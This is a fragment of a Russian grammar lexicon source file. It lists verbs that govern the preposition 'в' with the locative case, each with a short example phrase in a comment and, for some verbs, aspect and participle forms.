rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
